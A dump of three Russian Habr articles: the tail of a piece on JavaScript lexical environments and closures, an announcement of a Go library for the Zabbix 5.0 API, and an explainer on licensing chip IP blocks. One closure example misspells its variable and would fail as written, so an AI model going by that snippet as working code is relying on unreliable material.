Через ссылку на контекст-родитель текущего контекста мы можем в случае необходимости получить ссылку на «контекст-дедушку» контекста-родителя и так далее до глобального контекста, ссылка на родитель которого будет null. Из этого определения следует, что Лексическое окружение — это связь сущности с контекстами её породившими. Своего рода ScopeChain у функций — это аналог Лексического окружения. Подробно о ScopeChain мы говорили в [этой статье](https://habr.com/ru/post/468943/).
```
let x = 10;
let y = 20;
const foo = z => {
let x = 100;
return x + y + z;
}
foo(30);//вернёт 150. ЛО для foo будет выглядеть так {record: {z: 30, x: 100}, parent: __parent};
// __parent будет указывать на глобальное ЛО {record: {x: 10, y: 20}, parent: null}
```
Технически процесс разрешения имён идентификаторов будет происходить также как и в ScopeChain, т.е. будет происходить последовательный опрос объектов в цепи ЛО до тех пор, пока не будет найден нужный идентификатор. Если идентификатор не найден, то ReferenceError.
Лексическое окружение создаётся и наполняется на этапе создания контекста. Когда текущий контекст заканчивает своё выполнение, он удаляется из стека вызовов, но его Лексическое окружение может продолжать жить до тех пор, пока на него есть хоть одна ссылка. Это одно из преимуществ современного подхода к проектированию языков программирования. Думаю об этом стоит рассказать!
### Стековая организация vs Динамически распределяемая память
В стековых языках локальные переменные хранятся в стеке, который пополняется при активации функции, при выходе из функции её локальные переменные удаляются из стека.
При стековой организации не был бы возможен ни возврат локальной функции из функции, ни обращение функции к свободной переменной.
**Свободная переменная** — переменная, используемая функцией, но не являющаяся ни формальным параметром, ни локальной переменной для этой функции.
```
function testFn() {
var locaVar = 10; // свободная переменная для функции innerFn
function innerFn(p) {
alert(p + localVar);
}
return innerFn; //возврат функции
}
var test = testFn();// присвоим innerFn в переменную
test();//в стековых языках это бы не работало
```
При стековой организации не был бы возможен ни поиск locaVar во внешней LexicalEnvironment, ни возврат функции innerFn, т.к. innerFn это тоже локальная декларация для testFn. По завершению testFn все её локальные переменные просто удалились бы из стека.
Поэтому была предложена другая концепция — концепция динамически распределяемой памяти (куча, heep) + сборщик мусора (garbage collector) + подсчёт ссылок. Суть этой концепции проста: пока на объект существует хоть одна ссылка, он не удаляется из памяти. Более подробно можно почитать [тут](https://wm-help.net/books-online/book/59464/59464-11.html).
Замыкание (Closures)
--------------------
**Замыкание** — совокупность блока кода и данных того контекста, в котором тот блок порождён, т.е. это связь сущности с порождающими контекстами через цепь ЛО или SсopeChain.
Позволю себе процитировать очень хорошую [статью](https://medium.com/@stasonmars/%D0%BF%D0%BE%D0%BD%D0%B8%D0%BC%D0%B0%D0%B5%D0%BC-%D0%B7%D0%B0%D0%BC%D1%8B%D0%BA%D0%B0%D0%BD%D0%B8%D1%8F-%D0%B2-javascript-%D1%80%D0%B0%D0%B7-%D0%B8-%D0%BD%D0%B0%D0%B2%D1%81%D0%B5%D0%B3%D0%B4%D0%B0-c211805b6898) на эту тему:
>
> ```
> function person() {
> let name = 'Peter';
>
> return function displayName() {
> console.log(name);
> };
> }
> let peter = person();
> peter(); // prints 'Peter'
>
> ```
>
>
> Когда выполняется функция person, JavaScript создаёт новый контекст выполнения и лексическое окружение для функции. После того, как эта функция завершится, она вернёт displayName функцию и назначится на переменную peter.
>
>
>
> Таким образом, её лексическое окружение будет выглядеть так:
>
>
>
>
> ```
> personLexicalEnvironment = {
> environmentRecord: {
> name : 'Peter',
> displayName: < displayName function reference>
> }
> outer:
> }
>
> ```
>
>
> Когда функция person завершится, её контекст выполнения выкинется из стека. Но её лексическое окружение всё ещё останется в памяти, так как на него ссылается лексическое окружение его внутренней функции displayName. Таким образом, её переменные всё ещё будут доступны в памяти.
>
>
>
> При выполнении функции peter (которая на самом деле является отсылкой к функции displayName), JavaScript создаёт новый контекст выполнения и лексическое окружение для этой функции.
>
>
>
> Так что его лексическое окружение будет выглядеть таким образом:
>
>
>
>
> ```
> displayNameLexicalEnvironment = {
> environmentRecord: {
>
> }
> outer:
> }
>
> ```
>
>
> В функции displayName нет переменной, её запись окружения будет пуста. Во время выполнения этой функции, JavaScript будет пытаться найти переменную name в лексическом окружении функции.
>
>
>
> Так как там нет переменных в лексическом окружении функции displayName, она будет искать во внешнем лексическом окружении, то есть, лексическом окружении функции person, которое до сих пор в памяти. JavaScript найдёт эту переменную и name выводится в консоль.
>
>
Важнейшей характеристикой замыкания в ES является то, что оно использует статическую область видимости (в ряде других языков, использующих замыкание, ситуация иная).
Пример:
```
var a = 5;
function testFn() {
alert(a);
}
(function(funArg) {
var a = 20;
funArg();// выведет 5 т.к. в ScopeChain/LexicalEnvironment testFn будет глобальный объект, в котором а = 5
})(testFn)
```
Другим важным свойство замыкания является следующая ситуация:
```
var first;
var second;
function testFn() {
var a = 10;
first = function() {
return ++a;
}
second = function() {
return --a;
}
a = 2;
first();//3
}
testFn();
first();//4
second();//3
```
Т.е. мы видим, что свободная переменная, присутствующая в замыканиях нескольких функций, изменяется ими по ссылке.
Заключение
----------
В рамках данной статьи мы коротко описали две центральные для EcmaScript концепции: Лексическое окружение и Замыкание. На самом деле обе эти темы гораздо шире. Если у сообщества будет желание получить более углубленное описание различий разных типов лексического окружения или узнать как v8 выстраивает замыкание, то напишите об этом в комментариях. | https://habr.com/ru/post/474852/ | null | ru | null |
# Подружили Go и Zabbix 5.0
Всем привет! Эта новость будет интересна тем, у кого есть микросервисы или утилиты на Go, которым нужно взаимодействовать с API Zabbix.
Возможно, вы уже знаете, что совсем недавно [ребята из Zabbix зарелизили v5.0](https://blog.zabbix.com/zabbix-5-0-released/10567/). А поскольку у нас в Nixys активно используется эта система мониторинга, то мы просто не могли пройти мимо этого события и в дополнение к уже имеющимся версиям v2.4 и v4.4, добавили в нашу open source библиотеку [nxs-go-zabbix](https://github.com/nixys/nxs-go-zabbix) ещё и поддержку API Zabbix v5.0.
В ближайшие две недели мы переходим на v5.0, поэтому нам уже потребовалось применить наши последние наработки для собственных средств автоматизации. Полёт отличный!
Насколько легко воспользоваться нашей библиотекой в своём Go-проекте, можно увидеть из следующего кода:
```
package main
import (
"fmt"
"os"
"github.com/nixys/nxs-go-zabbix/v5"
)
func zabbixLogin(z *zabbix.Context, zbxHost, zbxUsername, zbxPassword string) {
if err := z.Login(zbxHost, zbxUsername, zbxPassword); err != nil {
fmt.Println("Login error:", err)
os.Exit(1)
}
fmt.Println("Login: success")
}
func zabbixLogout(z *zabbix.Context) {
if err := z.Logout(); err != nil {
fmt.Println("Logout error:", err)
os.Exit(1)
}
fmt.Println("Logout: success")
}
func main() {
var z zabbix.Context
/* Get variables from environment to login to Zabbix server */
zbxHost := os.Getenv("ZABBIX_HOST")
zbxUsername := os.Getenv("ZABBIX_USERNAME")
zbxPassword := os.Getenv("ZABBIX_PASSWORD")
if zbxHost == "" || zbxUsername == "" || zbxPassword == "" {
fmt.Println("Login error: make sure environment variables `ZABBIX_HOST`, `ZABBIX_USERNAME` and `ZABBIX_PASSWORD` are defined")
os.Exit(1)
}
/* Login to Zabbix server */
zabbixLogin(&z, zbxHost, zbxUsername, zbxPassword)
defer zabbixLogout(&z)
/* Get all hosts */
hObjects, _, err := z.HostGet(zabbix.HostGetParams{
GetParameters: zabbix.GetParameters{
Output: zabbix.SelectExtendedOutput,
},
})
if err != nil {
fmt.Println("Hosts get error:", err)
return
}
/* Print names of retrieved hosts */
fmt.Println("Hosts list:")
for _, h := range hObjects {
fmt.Println("-", h.Host)
}
}
```
Пока реализованы не все методы весьма обширного API Zabbix просто потому, что у нас они не используются, но если вы решите заюзать nxs-go-zabbix у себя и вам чего-то не хватит — пишите, обязательно дополним нашу библиотеку. А будет желание, время и возможность — подключайтесь к проекту, места хватит всем! )
P.S. Это библиотека доступна в нашем [Github](https://github.com/nixys/nxs-go-zabbix) | https://habr.com/ru/post/503104/ | null | ru | null |
# Заказные блоки в микросхемах (Silicon IP): как это работает
В каждой статье на Хабре, посвященной отечественным микропроцессорам, так или иначе поднимается вопрос лицензионных IP-блоков и того, насколько их наличие и отсутствие уменьшает ценность, отечественность или безопасность разработки. При этом очень многие комментаторы не слишком хорошо понимают предмет обсуждения, поэтому давайте попробуем разобраться, как же именно работает лицензирование в микроэлектронной индустрии, чем хороши и чем плохи лицензированные блоки, и в чем состоит процесс разработки микросхемы, если большая часть блоков в ней куплена.
Любая современная микросхема — это то, что некоторое время назад гордо называли “система на кристалле”: даже у трехногих линейных регуляторов и источников опорного напряжения есть скрытая от пользователя цифровая подстройка, что уж говорить о микропроцессорах и микроконтроллерах, содержащих десятки разнообразных блоков, разработка каждого из которых требует специфических навыков и большого опыта, чтобы обойти подводные камни, о которых не пишут в книгах и статьях. При этом любой проект, как правило, имеет свою killer feature, за счет которой разработчики рассчитывают получить преимущество над конкурентами, и именно эта killer feature должна быть сделана максимально хорошо, а все остальные блоки должны быть просто не хуже, чем у других.
Внимание, вопрос: нужно ли содержать дорогостоящую команду разработчиков, способную сделать самостоятельно вообще все нужные блоки?
Еще более интересный вопрос: если вы сами разработали систему команд микропроцессора, нужно ли содержать команду программистов, которая [напишет для нее компилятор](https://habr.com/post/354458/), портирует свежие ядра популярных операционных систем, сделает кучу другой тяжелой работы и, скорее всего, все равно не поставит ваше творение на один уровень с популярными архитектурами, над которыми трудится гораздо большее количество людей?
И самое главное: дадут ли положительные ответы на предыдущие два вопроса конкурентные преимущества вашему продукту?
***Лирическое отступление***
Пятого июня вышел на пенсию Моррис Чанг — человек, о которым вы никогда не слышали, но без которого не было бы современной электроники. Моррис Чанг родился в Китае, в разгар гражданской войны уехал в США, закончил MIT, а потом много лет проработал в Texas Instruments и General Instruments. В те годы неотъемлемой частью любой микроэлектронной компании было собственное производство, оборудование для которого стоило на несколько порядков дешевле, чем сейчас, но тем не менее, все равно было очень дорого. Вот как об этом писал сам Чанг:
> When I was at TI and General Instrument I saw a lot of IC designers wanting to leave and set up their own business, but the only thing, or the biggest thing that stopped them from leaving those companies was that they couldn’t raise enough money to form their own company. Because at that time it was thought that every company needed manufacturing, needed wafer manufacturing, and that was the most capital intensive part of a semiconductor company, of an IC company. And I saw all those people wanting to leave, but being stopped by the lack of ability to raise a lot of money to build a wafer fab.
В 1985 году Моррис Чанг собирался выйти на пенсию, но вместо этого принял предложение правительства Тайваня поработать в Industrial Technology Research Institute, исследовательском институте, который должен был помочь совершить индустриальную революцию на Тайване и ликвидировать отставание тамошней экономики от развитых стран. В 1987 году, параллельно с работой в ITRI Чанг создал TSMC — компанию, выросшую в крупнейшего в мире производителя интегральных схем. Бизнес-модель TSMC изначально строилась на том, что компания ничего не разрабатывает, а только производит чужие разработки, и это был один из первых шагов в создании современной экосистемы разработки и производства микросхем, известной как Fabless-модель.
***Конец лирического отступления***
#### Что такое Fabless?
Fabless — это модель разработки и производства микросхем, в которой компания-разработчик не имеет собственного производства и пользуется услугами сторонней фабрики, также сотрудничающей с другими разработчиками (и иногда имеющей собственные продукты).
Наличие сторонних фабрик позволяет радикально уменьшить порог входа на рынок микроэлектроники (о чем и мечтал в свое время Моррис Чанг), с сотен до единиц миллионов долларов, за счет отсутствия необходимости покупать и обслуживать оборудование для производства. Оно же позволяет уменьшить этот порог еще дальше за счет формирования рынка поставщиков сложнофункциональных блоков (они же Silicon IP). Если вы производите чипы на собственной фабрике, то вы можете рассчитывать только на собственные силы и должны содержать команду, способную создать все нужные блоки. Если фабрикой пользуетесь не только вы, но и другие компании, то большинство типовых задач кто-то уже решил до вас, и вы можете воспользоваться результатами чужого труда — или перепродать собственное решение кому-то еще, предварительно договорившись о цене и условиях так, чтобы никто не остался в накладе. Разумеется, вы вряд ли будете продавать свое ноу-хау непосредственным конкурентам, но ситуаций, когда можно заработать, не ввязываясь в конфликт интересов, тоже предостаточно. Именно из возможности и желания переиспользовать результаты решения типовых задач возник рынок IP-блоков, размер которого по состоянию на 2017 год подобрался к четырем миллиардам долларов и продолжает бурно расти.
#### Чем это выгодно?
**Покупателю IP** — в первую очередь экономией. По разным оценкам, покупка IP-блоков обычно оказывается от двух до пяти раз дешевле самостоятельной разработки. Кроме того, покупка обычно позволяет существенно сократить время разработки, так как вам не нужно самостоятельно производить тестовые чипы и исправлять ошибки.
**Разработчику IP** — возможностью построить работающий бизнес на нишевом решении и существенно сократить расходы на ведение бизнеса. В стоимости микросхемы значительную часть составляют затраты на маркетинг, корпусирование, тестирование, техподдержку, прикладное ПО, наконец, на фотошаблоны для серийного производства, и т.д. и т.п. Если вы не производите готовые продукты, а только продаете блоки, то всех этих расходов у вас нет.
**Фабрике** — возможностью привлечь больше клиентов. Крупные фабрики стремятся создать вокруг себя экосистему поставщиков IP-блоков, потому что их использование позволяет существенно ускорить дизайн и, что не менее важно, максимально автоматизировать его. Богатое портфолио готовых компонентов — большое подспорье в дизайне конечного продукта, потому что оно позволяет самостоятельно делать только то, что является вашим know-how, и не тратить драгоценные ресурсы на разработку всего вообще — особенно в ситуации, когда уже есть готовое решение, разработанное людьми, вложившими в его разработку существенно больше времени и опыта, чем можете себе позволить вы. Соответственно, широкий выбор готовых IP может быть серьезным фактором в выборе той или иной фабрики для производства вашего проекта.
#### Как это работает?
Давайте рассмотрим лицензирование ядер на примере сферической заказной системы на кристалле. Система будет содержать процессорное ядро, шины для объединения ядра и периферии, какое-то количество кэш-памяти, интерфейсы для общения с внешним миром (допустим CAN и I2C), PLL, ЦАП и АЦП. Для чистоты эксперимента допустим, что покупаться будет вообще всё, без самостоятельной разработки. “Глупое предположение”, — скажете вы и будете не совсем правы. В реальности, конечно, такие ситуации крайне редки, но все же вполне можно представить себе, что killer feature продукта будет не какой-то блок сам по себе, а специфическое сочетание уже существующих блоков. Например, вы первый покупатель блока (поэтому его еще нет у конкурентов) или придумали существующему блоку применение в нехарактерном для него сегменте (поэтому у конкурентов в этом сегменте нет ничего похожего).
#### Итак, начнем с…
… нет, не с процессорного ядра, а с аналоговой обвязки. Для примера возьмем аналого-цифровой преобразователь (АЦП) — типовой блок большинства микроконтроллеров и любых других систем, имеющих дело с данными из внешнего мира.
АЦП — это аналоговый блок, а значит его параметры серьезно зависят не только от его схемотехники, но и от того, как именно эта схемотехника реализована на кристалле. Если мы возьмем готовый файл с топологией от одного техпроцесса и произведем его на другой фабрике с теми же проектными нормами, мы можем получить совершенно другие параметры (не говоря уже о переносе на другие проектные нормы). Впрочем, известная с середины века культура “вторых поставщиков” все же существует; например, фабрика Towerjazz предлагает копии некоторых техпроцессов TSMC.
АЦП — это отличный пример Hard IP — блока, привязанного к определенному технологическому процессу. Для того, чтобы купить такой блок, вы должны точно знать, на какой технологии будет производиться ваш конечный продукт, и, как уже упоминалось выше, наличие нужных Hard IP может быть для фабрики серьезным конкурентным преимуществом.
В каком виде поставляется Hard IP? Это интересный вопрос, и для ответа на него надо обсудить, в каком виде такой блок разрабатывается. В случае с большинством аналоговых блоков, разработка схемотехники ведется на уровне отдельных транзисторов, то есть выходными файлами будут файл электрической схемы и файл с топологией. При этом особенности и схемы, и топологии могут иметь серьезную коммерческую ценность, отдавать которую на сторону, конечно же, не хочется. А для того, чтобы клиент не смог реверс-инжинирить схему по топологии, топология обычно тоже не передается, поэтому в обычном случае поставляемые файлы выглядят следующим образом:
1. Вместо электрической схемы клиент получает высокоуровневую поведенческую модель, не раскрывающую особенности реализации. Такая модель может быть написана на языке Verilog-A. Альтернативный вариант — некоторые САПР (например Cadence Virtuoso) поддерживают шифрование электрических схем, то есть клиент сможет использовать вашу схему (или файл verilog-A), но не сможет открыть и посмотреть содержимое.
2. Габаритный макет топологии, с отмеченными внешними выводами и описанием того, сколько уровней металлизации занимает блок.
3. Тестовое окружение для верификации основных параметров.
4. Документацию.
При этом, разумеется, необходимо участие третьей стороны, которой вы сможете передать топологию, не опасаясь конкуренции и реверс-инжиниринга. Этой третьей стороной выступает фабрика, и ее роль посредника между заказчиками и исполнителями — важная часть экосистемы fabless разработки чипов. У фабрики, конечно же, должна быть кристально чистая репутация (это к вопросу о закладках) и, в идеале, она не должна самостоятельно производить ничего похожего, потому что работать на фабрике компании-конкурента — в любом случае сомнительное удовольствие. У Samsung получается производить процессоры одновременно себе и Apple, но другие крупные фабрики обычно или концентрируются на собственном производстве (как Intel), или совсем отказываются от самостоятельной разработки (как TSMC). Желание избавиться от этого конфликта интересов, кстати, было одним из драйверов выделения Globalfoundries (второго по размеру игрока на рынке фабрик) из состава AMD.
**Лирическое отступление**
В России, кстати, говоря, pure-play фабрик нет. Более того, для абсолютно всех игроков рынка выпуск собственной продукции является приоритетом, и все производимые fabless-разработчиками полностью отечественные микросхемы изготавливаются на производствах их потенциальных конкурентов — или на pure-play фабриках за рубежом.
**Конец лирического отступления**
Дальше есть еще одна важная деталь взаимодействия поставщика и фабрики: фабрика заносит ваш IP-блок в собственную базу и в дальнейшем проверяет все входящие проекты на наличие в них вашей топологии (которую кто-то мог получить как от вас, так и нелегально), и сверяется с вами относительно того, есть ли у запрашивающего производство лицензия (так как многие дешевые лицензии подразумевают использование блока только в одном проекте). Наличие проверки фабрикой позволяет разработчику Hard IP выбрать любой удобный вариант лицензирования — привязанный к количеству проектов, к количеству проданных чипов, к срокам запуска чипов в производство и т.д. и т.п. Но подробнее о типах лицензий — в следующей части.
Как Hard IP в типовой системе на кристалле нужны будут АЦП, PLL, физические уровни интерфейсов ввода-вывода.
Окно САПР Cadence Virtuoso Layout Suite с топологией аналогового Hard IP блока (это PLL, если кому-то интересно). Хорошо видны границы между отдельными подблоками (которые обычно делают разные люди) и, например, очень редкий для интегральных микросхем элемент — катушка индуктивности в правом нижнем углу. А слева вверху виден цифровой блок (наверное, управление) и его многобитный интерфейс к остальной части.
Оно же, но уже в виде готового чипа (например, для тестирования). Хорошо видны площадки ввода-вывода и соединяющие их кольца из земель и питаний.
Термин «Hard IP» также используется применительно к IP-блокам для FPGA. В этом случае подразумевается, что код блока был оптимизирован для использования в конкретной модели FPGA и синтезирован для размещения в ней.
#### Soft IP
Следующий блок, который мы рассмотрим — это процессорное ядро. Собственно, на его месте может быть практически любая цифровая схема, например, блок кодирования сигнала кодом Рида-Соломона, но процессорные ядра больше всего на слуху и они же составляют добрую половину всего рынка (в том числе в силу сложности и дороговизны).
Основное отличие разработки цифровых схем от разработки аналоговых состоит в том, что цифровые схемы обычно пишутся на специальных языках высокого уровня — Verilog или VHDL, а дальше специальный САПР синтезирует из этого кода электрическую схему и топологию. Так вот, до момента синтеза код не привязан к конкретной технологии, и один и тот же блок можно произвести на разных фабриках (или зашить в ПЛИС) или на разных вариантах одной и той же технологии (например, оптимизированных под высокую скорость или низкое энергопотребление). Этим, собственно, и пользуются компании-разработчики, такие как, например, ARM. Такие цифровые блоки, не привязанные к определенной технологии, называются Soft IP.
Вот так выглядит схема одного бита сумматора:
А вот так на самом деле выглядит восьмибитный сумматор в дизайне микросхемы:
> `module adder(
>
> input wire [7:0]a,
>
> input wire [7:0]b,
>
> output wire [7:0]out,
>
> output wire carry
>
> );
>
> assign {carry, out} = a + b;
>
> endmodule`
Как видите, ни слова ни про размер транзисторов, ни про фабрику, ни про скорость работы. Все эти вещи появляются позже, когда покупатель IP-блока начинает самостоятельно заниматься его переводом в кремний.
Что получает покупатель Soft IP? Посмотим на два примера:
> • Clean, readable, synthesizable Verilog HDL, VHDL
>
> • Cadence Encounter RTL Compiler synthesis scripts
>
> • Documentation – integration and user guide, release notes
>
> • Sample verification testbench
> Encrypted source along with a complete certification data package (CDP) including all artifacts required for chip-level compliance.
В первом случае вы получаете исходный код и все необходимое для его моделирования и самостоятельного синтеза топологии, во втором — защищенный от чтения нетлист, который вы не можете изменить и части которого вы не можете переиспользовать (что не редкость для IP с предоставляемым исходным кодом). Разумеется, второй вариант в обычной ситуации существенно дешевле. Но могут быть и варианты, когда кодирование используется для защиты каких-то ноу-хау, которых нет в более простой версии устройства, поставляемой в виде исходного кода.
Например, так обстоит дело с процессором Европейского Космического Агентства LEON3:
1. Разработчик процессора, Cobham Gaisler, поставляет базовую версию LEON3 даже под лицензией GPL
2. Они же поставляют версию LEON3FT (защищенную от одиночных сбоев на уровне схемотехники): *The LEON3FT core is distributed together with a special FT version of the GRLIP IP library, distributed as encrypted RTL.*
3. Само Европейское Космическое Агентство (на деньги которого делался изначальный дизайн) лицензирует исходный код предыдущей версии, LEON2FT, участникам своих проектов.
Промежуточные варианты защиты исходного кода могут, например, включать Verilog-код, прошедший обфускацию с целью невозможности его изменения и переиспользования отдельных частей. Техники обфускации Verilog-кода могут варьироваться от простого удаления комментариев и переименования переменных, чтобы код стал нечитабелен, до внедрения в блок специальных конечных автоматов, переводящих блок в нештатный режим работы, если при запуске схемы на вход им не пришла ключевая последовательность символов. В обфусцированный код также могут быть добавлены digital watermarks, которые позволяют на модели или готовом чипе проверить, использовано ли в нем конкретное IP.
Тем не менее, передача “Clean, readable, synthesizable” исходного кода является распространенной практикой, особенно в ситуации, когда разработчик может удобно проконтролировать использование IP блока в продуктах покупателя. Это, в частности, означает, что при желании вполне можно проверить исходный код купленного ядра на отсутствие в нем недокументированных возможностей (они же закладки, они же hardware trojans) и дальше быть уверенным, что оно не менее безопасно, чем ядро, разработанное самостоятельно.
Внимание, вопрос: если soft IP не привязаны к конкретной фабрике, то кто та третья сторона, которая обеспечивает выполнение лицензионного договора? Это весьма больной вопрос, и ответ на него может сильно отличаться в зависимости от типа Soft IP, размеров компаний продавца и покупателя, целевых рынков и т.д. и т.п… Вот несколько примеров:
ARM, другие разработчики микропроцессорных ядер или больших блоков, которые серьезно влияют на функциональность, основывают лицензионный контроль на том, что продавая вашу систему на кристалле, вы должны ее рекламировать (тайно продать большой объем чипов не очень просто), а значит выпустить новую модель на рынок без ведома разработчика IP будет непросто, равно как будет непросто самостоятельно написать что-то очень похожее, но все же немного отличающееся, и дальше продавать уже его. В случае возникновения вопросов в игру вступит внушительных размеров юридическая служба компании. Примерно так же работает еще и продажа и лицензирование патентов (и, как вы наверняка знаете, несмотря на многомиллионные отчисления крупных компаний друг другу, из судов их юристы не выходят практически никогда). Примерами такого рода лицензионных споров является недавняя история с отказом Apple от графических ядер Imagination Technology в пользу in-house разработки и исков на предмет того, что Apple не могли ничего разработать так, чтобы не нарушить лицензионые соглашения и патенты Imagination (особенно с учетом перехода значительной группы сотрудников из одной компании в другую).
Кроме того, распространенный пункт в лицензионных соглашениях — согласие на внешний аудит для подтверждения количества произведенных чипов (потому что оплата многих IP включает роялти с каждого проданного чипа) или количества разрабатываемых проектов (для случаев с попроектными лицензиями).
В случае с soft IP для FPGA, третьей стороной могут выступать вендоры, поставляющие сами ПЛИС и софт для моделирования и программирования. Например, софт и ПЛИС от Xilinx поддерживают не только шифрование исходных кодов IP, но и лицензии для только моделирования (без возможности прошить дизайн в ПЛИС) и даже такие лицензии, когда дизайн можно прошить в ПЛИС, но через некоторое время эта прошивка перестанет работать (то есть вы можете отлаживать прототипы в железе, но не можете выпустить серийный продукт).
**Лирическое отступление относительно процессорных ядер и типов лицензий**
Подробности лицензирования обычно составляют коммерческую тайну, но тем не менее, основные принципы хорошо известны.
Самая дешевая лицензия — на использование IP-блока один раз в одном проекте. Ее стоимость может оплачиваться целиком при покупке, а может иметь роялти-часть, привязанную к количеству проданных чипов. Также стоит заметить, что иногда покупатель IP, в свою очередь, передает продукт дальше как IP большего размера, и могут сложиться ситуации, когда разработчику исходного IP выгоднее заключить лицензионное соглашение с конечным потребителем (а иногда даже с разработчиком продукта, в котором будет использована микросхема); все зависит от того, на каком этапе удобнее проконтролировать количество произведенных чипов и кому из покупателей бизнес-модель лучше позволяет платить роялти.
Более дорогой вариант предыдущей лицензии — на использование одного блока в нескольких проектах сразу. Такая лицензия обычно используется при создании семейств микросхем, сходных по параметрам (и потому не требующих различной оптимизации IP).
Следующий вариант — лицензия на пользование ядром или семейством ядер на определенный срок. Он лучше подходит большим компаниям, которые работают над многими проектами одновременно, и которым удобнее заплатить один раз вместо того, чтобы заключать отдельный контракт на каждый проект. Среди прочего это позволяет сокращать сроки запуска — как раз на время переговоров по лицензированию. Разумеется, такая лицензия намного дороже разовой, поэтому для маленьких компаний она обычно нецелесообразна.
Вариант предыдущей лицензии — подписка на определенный срок, но не на конкретный блок, а на целый класс блоков или ядер (допустим, на все ARM Cortex). Подписка дает дизайнерам большой компании больше свободы и удобства в выборе нужного варианта — опять же, не тратя время на переговоры и согласования.
Самый дорогой вариант — архитектурная лицензия. Системы команд (или, чаще, их составные части) патентуются и защищаются, так что единственный способ самостоятельно сделать совместимое ядро — получить на это разрешение у правообладателя (или сделать ядро, совместимое со старой версией системы команд, на которую уже истекли патенты). Зачем это нужно? Архитектурная лицензия нужна для тех редких случаев, когда именно производительность ядра (или какие-то другие его специфические свойства, например, встроенное дублирование или троирование) является вашим конкурентным преимуществом. При этом вы, разумеется, должны обладать компетенциями в разработке ядер, как минимум не хуже, чем у лицензиара, а в вашей предметной области — даже лучше.
Почему бы в таком случае не разработать собственную систему команд? Ответ на этот вопрос очень прост: собственная система команд означает необходимость написания собственных компиляторов и всего сопутствующего софта, а также сложности с тем, что под популярные архитектуры все умеют программировать, а под вашу нет. В итоге даже такие большие компании, как Apple, предпочитают архитектурные лицензии ARM разработке чего-то своего, и выход новых игроков на рынок архитектур, поделенный между несколькими грандами (точнее, между ARM и подбирающими остатки всеми остальными) — чрезвычайно редкое явление.
Здесь мы плавно возвращаемся к вызывающему самые острые дискуссии вопросу про собственную архитектуру процессора: для того, чтобы вы могли продать микросхему, она должна быть максимально удобной для пользователя, а это значит, что под нее должно быть максимальное количество уже готового или легко адаптируемого софта, а также должны быть в наличии программисты, умеющие работать с вашей системой команд (потому что просить клиентов переучивать своих программистов — сомнительная идея). В итоге получается, что покупка лицензии на микропроцессорное ядро несет одновременно улучшение потребительских качеств микросхемы и сокращение как ваших расходов, как и расходов ваших клиентов. В качестве примера я, пожалуй, приведу компанию Apple, которая известна в том числе тем, что разрабатывает микроархитектуру своих мобильных процессоров самостоятельно, но! Эти процессоры все еще используют систему команд ARM, несмотря даже на то, что Apple имеет собственную операционную систему и в теории может использовать для нее процессоры с любой системой команд. Видимо, найти толковых разработчиков с опытом на ARM проще и выгоднее. То же самое, кстати, касается и персональных компьютеров Apple — они много лет выпускались с процессорами архитектуры PowerPC, но когда стало ясно, что PowerPC необратимо отстает от x86, Apple ценой значительных усилий совершили переход на процессоры Intel.
**Конец лирического отступления**
Маленьким разработчикам Soft IP непрактично содержать штат юристов, поэтому они обычно строят свою бизнес-модель так, чтобы контроля использования IP не требовалось или он был минимален. Основных варианта тут два:
1. Продавать достаточно дорого, чтобы окупать ядро по принципу “один клиент — одна продажа”, без заморочек с роялти.
2. Строить бизнес-модель на кастомизации IP под конкретный проект клиента (например оптимизации производительности под типовые задачи), помощи в сопряжении с другими IP, аутсорсе синтеза IP в топологию (так называемый IP hardening) и так далее. Как это работает? Например, базовый дизайн микропроцессорного ядра может быть дополнен специфическими аппаратными блоками для часто используемых клиентом операций, или наоборот, структура конвейера может быть упрощена для экономии энергии в задачах с батарейным питанием.
В качестве soft IP в типовую систему на кристалле нужны микропроцессорное ядро (или ядра), процессорные шины для объединения ядер и периферии, контроллеры интерфейсов, аппаратные ускорители и т.д. и т.п.
#### Configurable IP
Еще один тип IP, находящийся между hard и soft — это конфигурируемые ядра, хорошим примером которых являются компиляторы памяти. Типичная многоядерная система на кристалле может содержать десяток блоков кэш-памяти разного объема и конфигурации, и еще флэш-память для хранения программ или подстройки. Как быть в этой ситуации? Покупать десять разных, хоть и однотипных IP-блоков? Разрабатывать память самим?
Для регулярных структур (всех видов памяти, разнообразных кодеров и встраиваемых FPGA) этот вопрос решается созданием конфигурируемых блоков, для которых пользователь может задать размер массива, внешние интерфейсы, конфигурацию топологии и некоторые другие параметры. В связи с тем, что ключевой элемент массива обычно привязан к технологии, такие IP-блоки являются разновидностью Hard IP, но все же обладают рядом свойств Soft IP (в частности, гибкостью).
Это все — разные варианты топологии стандартной шеститранзисторной ячейки кэш-памяти.
#### Foundation IP
Еще один «около-hard» тип IP-блоков — это foundation IP, совсем маленькие строительные блоки для конкретной технологии. Типичная библиотека логических вентилей — это несколько сотен элементов, от простейших инверторов до сложных триггеров с функциями диагностики. Такая библиотека может быть оптимизирована для низкого энергопотребления, высокой скорости работы или минимальной площади на кристалее, для работы с разными напряжениями питания, при разных температурах или, например, под воздействием радиации. И, разумеется, для каждого техпроцесса (даже с одинаковыми проектными нормами) нужна своя библиотека, потому что свойства транзисторов (такие, как пороговое напряжение и паразитные емкости) и минимальные размеры элементов различаются у всех производителей. Существуют и «generic» библиотеки с намеренно загрубленными размерами, чтобы уложиться в любой техпроцесс с подходящими нормами, но их параметры, разумеется, хуже, чем у специализированных решений.
Кроме библиотек логических элементов к Foundation IP относят библиотеки элементов ввода-вывода, библиотеки элементов электростатической защиты и, зачастую, блоки памяти из предыдущего пункта.
Любимый BarsMonster массив базовых элементов в топологии.
#### Verification IP
Итак, все блоки куплены, осталась самая малость — убедиться, что они нормально взаимодействуют между собой и что ваша система соответствует всем необходимым стандартам. Соответствие стандартам, кстати, касается и блоков, разработанных вами самостоятельно. Думаю, никому на хабре не нужно объяснять важность хорошего тестового покрытия и полноценного тестирования кода, а также трудоемкость создания хорошего тестового окружения. А теперь представьте, что ваш код немного по-разному исполняется при изменении температуры окружающей среды. И на разных экземплярах абсолютно одинакового “железа”. И при разном напряжении питания.
Задачи тестирования и проверки соответствия популярным стандартам подчас настолько сложны, что привели к появлению целого класса полупроводниковых заказных блоков — Verification IP. Эти блоки — это тестовое окружение, они не производятся в кремнии, но их рынок довольно велик (и продолжает расти с усложнением типовых продуктов). Многие разработчики микросхем знают компанию Synopsys как второго по размеру производителя САПР, гораздо меньше людей знает, что четверть бизнеса Synopsys — это IP-блоки. На популярном ресурсе по поиску IP Design&Reuse в портфолио Synopsys 828 Silicon IP (включая процессорные ядра ARC — вторые по популярности после ARM) и 116 Verification IP на все случаи жизни.
